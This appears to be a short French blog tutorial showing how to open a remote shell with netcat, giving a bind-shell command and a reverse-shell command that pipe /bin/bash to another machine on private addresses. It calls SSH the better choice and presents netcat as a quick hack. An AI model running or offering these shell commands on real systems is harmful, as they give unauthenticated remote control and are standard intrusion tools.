Netcat – lancer un shell distant

Nouvel article sur le couteau suisse méconnu netcat avec pour objectif de découvrir comment se connecter à un shell distant sur un autre serveur. Ce n’est pas la meilleure solution et la plus sécurisée car il faut en priorité utiliser SSH mais pour le fun et un besoin ponctuel cela peut s’avérer utile.

Comment faire ?

1ère option : l’écoute avec bash

Sur la machine distante on lance un netcat en écoute -l avec -e la commande bash :

nc -l -p 9999 -e /bin/bash

Pour se connecter dessus il suffit de se connecter à l’ip/port de la machine en netcat :

nc 172.17.0.2 9999

2ème option : lancement de la commande à la connexion

#source  172.17.0.1
nc -l -p 6666

#cible 172.17.0.2
nc 172.17.0.1 6666 -e '/bin/bash'

 

Répondre

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s